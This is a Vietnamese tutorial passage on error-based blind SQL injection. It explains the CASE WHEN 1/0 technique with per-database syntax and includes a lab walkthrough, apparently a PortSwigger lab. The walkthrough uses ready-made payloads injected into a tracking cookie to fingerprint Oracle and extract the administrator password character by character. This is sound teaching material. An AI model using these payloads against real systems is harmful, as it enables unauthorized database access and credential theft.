II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)
6. Blind SQL injection (tiếp)
6.2. Kích hoạt điều kiện lỗi truy vấn trong khai thác lỗ hổng Blind SQL injection
Với các ví dụ ở mục , cơ sở để chúng ta xác định được từng ký tự trong dữ liệu cần khai thác chính là các dòng thông báo khác nhau, thay đổi trong từng trường hợp. Tuy nhiên, chúng ta có thể gặp tình huống trang web không trả về bất kỳ thông báo nào, hoặc các thông báo giống nhau dù logic trong câu truy vấn có đúng hoặc sai. Khi đó, chúng ta có thể khai thác lỗ hổng Blind SQL injection bằng cách kích hoạt các điều kiện xảy ra lỗi trong chính câu truy vấn. Để hiểu rõ hơn về phương pháp tấn công này, chúng ta cùng xem xét và phân tích câu truy vấn sau:
(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'
(SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
Từ khóa CASE có thể được hiểu giống như cấu trúc rẽ nhánh switch-case: Khi điều kiện sau WHEN đúng, CASE nhận giá trị (1/0), ngược lại nhận giá trị còn lại (sau ELSE). Điều thú vị ở đây là khi thực thi biểu thức (1/0) sẽ gây ra lỗi "chia cho ", có thể khiến response trả về error. Từ đây, trạng thái response có thể giúp chúng ta xác định tính đúng sai của biểu thức trong WHEN. Lưu ý, với từng hệ cơ sở dữ liệu có các cú pháp khác nhau:
database management system | Conditional errors syntax |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
Từ đó, chúng ta có thể chèn câu truy vấn kiểm tra vào trong điều kiện WHEN, dựa vào trạng thái response để xác định tính đúng sau của câu truy vấn này, và thu được dữ liệu mong muốn. Thật vậy, chẳng hạn chúng ta cần xác định ký tự đầu tiên trong password của người dùng administrator tương ứng với tên cột password, username trong bảng users, chúng ta có payload như sau:
xyz' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) = 't') THEN 1/0 ELSE 'a' END FROM users)='a
Khi điều kiện username = 'administrator' AND SUBSTRING(password, 1, 1) = 't'
đúng, toàn bộ câu truy vấn SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) = 't') THEN 1/0 ELSE 'a' END FROM users
trả về kết quả bằng a
, hệ thống hoạt động bình thường; ngược lại, hệ thống sẽ thực thi phép tính (1/0)
dẫn tới error.
Phân tích lab Blind SQL injection with conditional errors
Miêu tả: Trang web chứa lỗ hổng SQL injection dạng Blind khi phân tích và thực hiện truy vấn SQL bằng cookie theo dõi (tracking cookie), trong câu truy vấn có chứa giá trị của cookie đã gửi. Kết quả của lệnh truy vấn SQL không được hiển thị, và cũng không còn các thông báo như lab trước. Tuy nhiên, khi câu truy vấn hệ thống thực thi gặp lỗi, sẽ trả về response error. Chúng ta cần khai thác lỗ hổng nhằm tìm kiếm mật khẩu tài khoản administrator, biết rằng trong cơ sở dữ liệu chứa bảng users, gồm cột username và password.
Trang web không chứa dấu hiệu thông báo nào. Kiểm tra cookie TrackingId, thêm ký tự '
vào sau, response trả về error:
Trang web có thể sử dụng câu truy vấn SQL có dạng như sau:
SELECT * FROM TrackedUsers WHERE TrackingId = 'MFu2HJA123Hj6sbcDK';
Nên ký tự '
thừa đã gây ra lỗi.
Chúng ta xác định được ký tự comment là --
:
Minh họa:
Có thể sử dụng ||
thực hiện ghép chuỗi:
Như vậy chúng ta có thể tạo truy vấn con kết hợp ghép chuỗi bằng ||
, thử truy vấn con SELECT 'a'
trả về error:
Đối với truy vấn con SELECT 'a' FROM dual
không trả về error, điều này chứng tỏ trang web đang sử dụng hệ quản trị cơ sở dữ liệu Oracle:
Để hiểu rõ hơn, chúng ta xét minh họa sau:
Câu truy vấn sử dụng toán tử ghép chuỗi administra với ký tự r là kết quả của SELECT 'r' FROM dual
nên thực chất tương đương với SELECT * FROM users WHERE username = 'administrator';
nên vẫn trả về kết quả mong muốn.
Như vậy, chúng ta có thể kích hoạt điều kiện lỗi truy vấn trong câu truy vấn mới tạo và ghép nối vào phần cuối câu truy vấn gốc, payload: '||(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)--
Khi điều kiện kiểm tra WHEN đúng thì phép tính 1/0
được thực hiện dẫn đến error (trong trường hợp trên điều kiện luôn đúng).
Như vậy có thể lợi dụng điều này nhằm tạo truy vấn con trong điều kiện WHEN sẽ xác định được tính đúng sau của câu truy vấn con này qua status code trong response.
'||(SELECT+CASE+WHEN+(SUBQUERY HERE)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+dual)--
Chúng ta đã có thông tin về tên bảng là users cùng với cột là username và password, cần tìm kiếm mật khẩu người dùng administrator. Trước hết, xây dựng payload kiểm tra độ dài password: '||(SELECT+CASE+WHEN+LENGTH(password)=1+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--
Điều kiện LENGTH(password)=1
sai nên phép tính 1/0
không được thực hiện, response không trả về error. Tiếp tục thử chúng ta tìm được độ dài mật khẩu bằng :
Từ đây, chúng ta sẽ kiểm tra từng ký tự của mật khẩu (sử dụng chức năng Intruder tối ưu hóa thời gian) bằng hàm SUBSTR(), payload kiểm tra ký tự đầu tiên: '||(SELECT+CASE+WHEN+SUBSTR(password,1,1)='a'+THEN+to_char(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--
Lần lượt thay ký tự a thành các ký tự khác thu đến khi response trả về error thì đó chính là ký tự cần tìm, chẳng hạn:
Tiếp theo, kiểm tra các ký tự tiếp theo, chúng ta thu được mật khẩu administartor, đăng nhập và bài lab được giải quyết: